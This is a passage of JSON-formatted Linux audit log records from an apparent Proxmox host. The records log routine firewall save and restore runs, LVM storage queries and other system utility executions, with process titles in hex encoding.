cap_frootid=0"} {"@timestamp":1781964875839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.839:63015): proctitle=\"ebtables-restore\""} {"@timestamp":1781965415480,"@rawstring":"node=pve type=PATH msg=audit(1781965415.480:65525): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.836:63014): proctitle=2F7573722F62696E2F707974686F6E33002D630066726F6D205F5F6675747572655F5F20696D706F7274207072696E745F66756E6374696F6E3B696D706F7274207379733B763D7379732E76657273696F6E5F696E666F3B7072696E7428227B7D2E7B7D2E7B7D222E666F726D617428765B305D2C20765B315D2C20765B325D"} {"@timestamp":1781965415479,"@rawstring":"node=pve type=PATH msg=audit(1781965415.479:65524): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875833,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.833:63013): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965415475,"@rawstring":"node=pve type=PATH msg=audit(1781965415.475:65523): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.829:63012): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965415475,"@rawstring":"node=pve type=PATH msg=audit(1781965415.475:65523): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875824,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.824:63011): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965415475,"@rawstring":"node=pve type=PATH msg=audit(1781965415.475:65523): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875819,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.819:63010): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965415467,"@rawstring":"node=pve type=PATH msg=audit(1781965415.467:65522): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875814,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.814:63009): proctitle=697073657400726573746F7265"} {"@timestamp":1781965415467,"@rawstring":"node=pve type=PATH msg=audit(1781965415.467:65522): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875807,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.807:63008): proctitle=\"ip6tables-save\""} {"@timestamp":1781965415460,"@rawstring":"node=pve type=PATH msg=audit(1781965415.460:65521): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875802,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.802:63007): proctitle=\"iptables-save\""} {"@timestamp":1781965415460,"@rawstring":"node=pve type=PATH msg=audit(1781965415.460:65521): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875798,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.798:63006): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965415453,"@rawstring":"node=pve type=PATH msg=audit(1781965415.453:65520): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875795,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.795:63005): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965415453,"@rawstring":"node=pve type=PATH msg=audit(1781965415.453:65520): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875795,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.795:63004): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965415445,"@rawstring":"node=pve type=PATH msg=audit(1781965415.445:65519): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875795,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.795:63003): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965415445,"@rawstring":"node=pve type=PATH msg=audit(1781965415.445:65519): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875791,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.791:63002): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965415439,"@rawstring":"node=pve type=PATH msg=audit(1781965415.439:65517): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875784,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.784:63001): proctitle=\"ip6tables-save\""} {"@timestamp":1781965415439,"@rawstring":"node=pve type=PATH msg=audit(1781965415.439:65517): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.778:63000): proctitle=\"iptables-save\""} {"@timestamp":1781965415435,"@rawstring":"node=pve type=PATH msg=audit(1781965415.435:65516): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875773,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.773:62999): proctitle=69707365740073617665"} {"@timestamp":1781965415435,"@rawstring":"node=pve type=PATH msg=audit(1781965415.435:65516): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.766:62998): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965415429,"@rawstring":"node=pve type=PATH msg=audit(1781965415.429:65515): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875760,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.760:62997): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965415429,"@rawstring":"node=pve type=PATH msg=audit(1781965415.429:65515): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875575,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964875.575:62996): proctitle=2F62696E2F7368002F7573722F62696E2F776869636800707974686F6E33"} {"@timestamp":1781965415423,"@rawstring":"node=pve type=PATH msg=audit(1781965415.423:65514): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964874.922:62995): proctitle=62617368002D69"} {"@timestamp":1781965415423,"@rawstring":"node=pve type=PATH msg=audit(1781965415.423:65514): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874919,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964874.919:62994): proctitle=\"tac\""} {"@timestamp":1781965415418,"@rawstring":"node=pve type=PATH msg=audit(1781965415.418:65513): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874919,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964874.919:62993): proctitle=7472002D64005C6E"} {"@timestamp":1781965415418,"@rawstring":"node=pve type=PATH msg=audit(1781965415.418:65513): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964874.918:62992): proctitle=74720020005C6E"} {"@timestamp":1781965415413,"@rawstring":"node=pve type=PATH msg=audit(1781965415.413:65512): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874913,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964874.913:62991): proctitle=2F62696E2F62617368002E2F73746F726167652E7368"} {"@timestamp":1781965415413,"@rawstring":"node=pve type=PATH msg=audit(1781965415.413:65512): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874739,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964874.739:62990): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965415405,"@rawstring":"node=pve type=PATH msg=audit(1781965415.405:65511): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874698,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964874.698:62989): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965415405,"@rawstring":"node=pve type=PATH msg=audit(1781965415.405:65511): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870956,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964870.956:62988): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965415398,"@rawstring":"node=pve type=PATH msg=audit(1781965415.398:65510): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870956,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964870.956:62987): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965415398,"@rawstring":"node=pve type=PATH msg=audit(1781965415.398:65510): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870956,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964870.956:62986): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965415395,"@rawstring":"node=pve type=PATH msg=audit(1781965415.395:65509): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870946,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964870.946:62985): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965415395,"@rawstring":"node=pve type=PATH msg=audit(1781965415.395:65509): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870946,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964870.946:62984): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965415391,"@rawstring":"node=pve type=PATH msg=audit(1781965415.391:65508): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870946,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964870.946:62983): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965415391,"@rawstring":"node=pve type=PATH msg=audit(1781965415.391:65508): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.936:62982): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965415389,"@rawstring":"node=pve type=PATH msg=audit(1781965415.389:65507): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.936:62981): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965415389,"@rawstring":"node=pve type=PATH msg=audit(1781965415.389:65507): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865936,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.936:62980): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965415389,"@rawstring":"node=pve type=PATH msg=audit(1781965415.389:65506): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865929,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.929:62979): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965415385,"@rawstring":"node=pve type=PATH msg=audit(1781965415.385:65505): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865929,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.929:62978): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965415385,"@rawstring":"node=pve type=PATH msg=audit(1781965415.385:65505): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865929,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.929:62977): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965415385,"@rawstring":"node=pve type=PATH msg=audit(1781965415.385:65505): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.748:62976): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965415378,"@rawstring":"node=pve type=PATH msg=audit(1781965415.378:65504): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865745,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.745:62975): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965415378,"@rawstring":"node=pve type=PATH msg=audit(1781965415.378:65504): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865744,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.744:62974): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965415370,"@rawstring":"node=pve type=PATH msg=audit(1781965415.370:65503): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865744,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.744:62973): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965415370,"@rawstring":"node=pve type=PATH msg=audit(1781965415.370:65503): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865740,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.740:62972): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965415364,"@rawstring":"node=pve type=PATH msg=audit(1781965415.364:65502): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.733:62971): proctitle=\"ip6tables-save\""} {"@timestamp":1781965415364,"@rawstring":"node=pve type=PATH msg=audit(1781965415.364:65502): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865727,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.727:62970): proctitle=\"iptables-save\""} {"@timestamp":1781965415356,"@rawstring":"node=pve type=PATH msg=audit(1781965415.356:65501): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865721,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.721:62969): proctitle=\"ip6tables-save\""} {"@timestamp":1781965415356,"@rawstring":"node=pve type=PATH msg=audit(1781965415.356:65501): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865715,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.715:62968): proctitle=\"iptables-save\""} {"@timestamp":1781965415348,"@rawstring":"node=pve type=PATH msg=audit(1781965415.348:65500): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865712,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.712:62967): proctitle=\"ebtables-restore\""} {"@timestamp":1781965415348,"@rawstring":"node=pve type=PATH msg=audit(1781965415.348:65500): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865710,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.710:62966): proctitle=\"ebtables-restore\""} {"@timestamp":1781965414094,"@rawstring":"node=pve type=PATH msg=audit(1781965414.094:65499): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865705,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.705:62965): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965414094,"@rawstring":"node=pve type=PATH msg=audit(1781965414.094:65499): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865700,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.700:62964): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965414073,"@rawstring":"node=pve type=PATH msg=audit(1781965414.073:65498): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865696,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.696:62963): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965414073,"@rawstring":"node=pve type=PATH msg=audit(1781965414.073:65498): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.691:62962): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965412918,"@rawstring":"node=pve type=PATH msg=audit(1781965412.918:65497): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865686,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.686:62961): proctitle=697073657400726573746F7265"} {"@timestamp":1781965412918,"@rawstring":"node=pve type=PATH msg=audit(1781965412.918:65497): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865679,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.679:62960): proctitle=\"ip6tables-save\""} {"@timestamp":1781965412918,"@rawstring":"node=pve type=PATH msg=audit(1781965412.918:65496): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.673:62959): proctitle=\"iptables-save\""} {"@timestamp":1781965412918,"@rawstring":"node=pve type=PATH msg=audit(1781965412.918:65495): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865670,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.670:62958): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965412906,"@rawstring":"node=pve type=PATH msg=audit(1781965412.906:65494): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865666,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.666:62957): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965412906,"@rawstring":"node=pve type=PATH msg=audit(1781965412.906:65494): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865665,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.665:62956): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965412906,"@rawstring":"node=pve type=PATH msg=audit(1781965412.906:65493): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN 